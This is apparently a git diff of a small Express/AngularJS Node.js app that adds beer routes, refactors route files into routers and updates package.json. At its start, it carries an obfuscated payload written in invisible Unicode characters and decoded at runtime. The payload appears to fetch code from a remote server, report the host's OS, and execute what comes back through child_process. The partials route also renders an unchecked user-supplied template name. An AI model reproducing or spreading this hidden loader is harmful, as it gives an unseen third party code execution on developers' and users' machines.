󠅤󠅏󠅓󠅘󠅙󠅜󠅔󠅏󠅠󠅢󠅟󠅓󠅕󠅣󠅣󠄞󠅔󠅕󠅖󠅑󠅥󠅜󠅤󠄞󠅕󠅨󠅕󠅓󠄘󠅐󠄒󠄔󠅫󠅠󠅢󠅟󠅓󠅕󠅣󠅣󠄞󠅕󠅨󠅕󠅓󠅀󠅑󠅤󠅘󠅭󠄒󠄐󠄒󠄔󠅫󠅢󠅥󠅞󠅀󠅑󠅤󠅘󠅭󠄒󠅐󠄜󠄘󠅖󠅦󠅪󠅡󠅧󠅕󠅔󠅤󠄢󠄜󠅏󠄙󠄭󠄮󠅫󠅓󠅟󠅞󠅣󠅟󠅜󠅕󠄞󠅜󠅟󠅗󠄘󠅖󠅦󠅪󠅡󠅧󠅕󠅔󠅤󠄢󠄜󠅏󠄙󠅭󠄙󠅭󠅭󠅭󠄙󠅭󠄙󠄫󠅦󠅑󠅢󠄐󠅢󠅞󠅩󠅑󠅜󠄭󠅏󠅏󠅞󠅑󠅝󠅕󠄘󠅑󠅣󠅩󠅞󠅓󠄘󠅨󠅠󠅒󠅑󠅧󠅩󠄜󠅕󠅒󠅜󠅕󠅨󠅨󠅚󠅞󠅝󠅪󠄙󠄭󠄮󠅫󠅤󠅢󠅩󠅫󠅜󠅕󠅤󠄐󠅢󠅕󠅣󠅠󠅟󠅞󠅣󠅕󠄭󠅑󠅧󠅑󠅙󠅤󠄐󠅖󠅕󠅤󠅓󠅘󠄘󠅨󠅠󠅒󠅑󠅧󠅩󠄜󠅫󠅘󠅕󠅑󠅔󠅕󠅢󠅣󠄪󠅫󠅟󠅣󠄪󠅙󠅝󠅠󠅟󠅢󠅤󠅏󠅟󠅣󠄞󠅔󠅕󠅖󠅑󠅥󠅜󠅤󠄞󠅠󠅜󠅑󠅤󠅖󠅟󠅢󠅝󠄘󠄙󠅭󠅭󠄙󠄫󠅙󠅖󠄘󠅢󠅕󠅣󠅠󠅟󠅞󠅣󠅕󠄞󠅟󠅛󠄙󠅫󠅜󠅕󠅤󠄐󠅔󠅑󠅤󠅑󠄭󠅑󠅧󠅑󠅙󠅤󠄐󠅢󠅕󠅣󠅠󠅟󠅞󠅣󠅕󠄞󠅤󠅕󠅨󠅤󠄘󠄙󠄜󠅘󠅕󠅑󠅔󠅕󠅢󠄭󠅢󠅕󠅣󠅠󠅟󠅞󠅣󠅕󠄞󠅘󠅕󠅑󠅔󠅕󠅢󠅣󠄫󠅕󠅒󠅜󠅕󠅨󠅨󠅚󠅞󠅝󠅪󠄘󠅞󠅥󠅜󠅜󠄜󠅫󠅙󠅤󠅣󠅥󠅓󠅜󠅘󠅥󠅥󠄪󠅔󠅑󠅤󠅑󠄜󠅤󠅛󠅞󠅞󠅤󠅓󠅒󠄪󠅘󠅕󠅑󠅔󠅕󠅢󠄞󠅗󠅕󠅤󠄘󠅑󠅤󠅟󠅒󠄘󠄒󠅑󠅈󠅊󠅙󠅉󠅈󠄾󠅜󠄾󠅚󠅁󠄭󠄒󠄙󠄙󠄜󠅣󠅕󠅓󠅢󠅕󠅤󠄻󠅕󠅩󠄪󠅘󠅕󠅑󠅔󠅕󠅢󠄞󠅗󠅕󠅤󠄘󠅑󠅤󠅟󠅒󠄘󠄒󠅓󠄢󠅆󠅚󠅓󠅝󠅆󠄠󠅑󠄢󠅆󠄥󠄒󠄙󠄙󠅭󠄙󠅭󠅕󠅜󠅣󠅕󠄐󠅕󠅒󠅜󠅕󠅨󠅨󠅚󠅞󠅝󠅪󠄘󠅞󠅕󠅧󠄐󠄵󠅢󠅢󠅟󠅢󠄘󠄒󠄒󠄙󠄙󠅭󠅓󠅑󠅤󠅓󠅘󠄘󠅖󠅦󠅪󠅡󠅧󠅕󠅔󠅤󠄢󠄙󠅫󠅕󠅒󠅜󠅕󠅨󠅨󠅚󠅞󠅝󠅪󠄘󠅖󠅦󠅪󠅡󠅧󠅕󠅔󠅤󠄢󠄙󠅭󠅭󠄜󠄒󠅢󠅞󠅩󠅑󠅜󠄒󠄙󠄫︊`)).toString('utf-8')); \ No newline at end of file diff --git a/modules/beers/routes/api.js b/modules/beers/routes/api.js new file mode 100644 index 000000000..7e1bc9960 --- /dev/null +++ b/modules/beers/routes/api.js @@ -0,0 +1,12 @@ +var express = require('express'); +var router = express.Router(); +var Controller = require('./../controller'); + +router.get('/', Controller.retrieve); +router.get('/:id', Controller.get); + +router.post('/', Controller.create); +router.put('/:id', Controller.update); +router.delete('/:id', Controller.delete); + +module.exports = router; \ No newline at end of file diff --git a/modules/beers/routes/index.js b/modules/beers/routes/index.js new file mode 100644 index 000000000..1a5b51ab3 --- /dev/null +++ b/modules/beers/routes/index.js @@ -0,0 +1,10 @@ +var express = require('express'); +var router = express.Router(); +var Controller = require('./../controller'); + +router.get('/', Controller.renderList); +router.get('/create', Controller.renderCreate); +router.get('/:id', Controller.renderGet); +router.get('/:id/edit', Controller.renderEdit); + +module.exports = router; \ No newline at end of file diff --git a/package.json b/package.json index 4b627f3e8..63e72ca05 100644 --- a/package.json +++ b/package.json @@ -2,12 +2,18 @@ "name": "application-name", "version": "0.0.1", "private": true, + "scripts": { + "prestart": "npm install", + "start": "nodemon bin/www" + }, "dependencies": { "body-parser": "^1.0.2", - "error-handler": "^0.1.4", + "debug": "^2.0.0", + "errorhandler": "^1.1.1", "express": "~4.1.1", "jade": "~0.31.2", "method-override": "^1.0.0", + "mongoose": "^4.1.0", "morgan": "^1.0.0" } } diff --git a/routes/api.js b/routes/api.js index edae85045..3efb2e00a 100644 --- a/routes/api.js +++ b/routes/api.js @@ -1,9 +1,14 @@ /* * Serve JSON to our AngularJS client */ +var express = require('express'); +var router = express.Router(); -exports.name = function (req, res) { +/* GET home page. */ +router.get('/name', function(req, res) { res.json({ name: 'Bob' }); -}; \ No newline at end of file +}); + +module.exports = router; diff --git a/routes/index.js b/routes/index.js index 6a8731245..35650c8d6 100644 --- a/routes/index.js +++ b/routes/index.js @@ -1,13 +1,9 @@ +var express = require('express'); +var router = express.Router(); -/* - * GET home page. - */ - -exports.index = function(req, res){ +/* GET home page. */ +router.get('/', function(req, res) { res.render('index'); -}; +}); -exports.partials = function (req, res) { - var name = req.params.name; - res.render('partials/' + name); -}; \ No newline at end of file +module.exports = router; diff --git a/routes/partials.js b/routes/partials.js new file mode 100644 index 000000000..cffa611e1 --- /dev/null +++ b/routes/partials.js @@ -0,0 +1,9 @@ +var express = require('express'); +var router = express.Router(); + +router.get('/:name', function(req, res) { + var name = req.params.name; + res.render('partials/' + name); +}); + +module.exports = router; \ No newline at end of file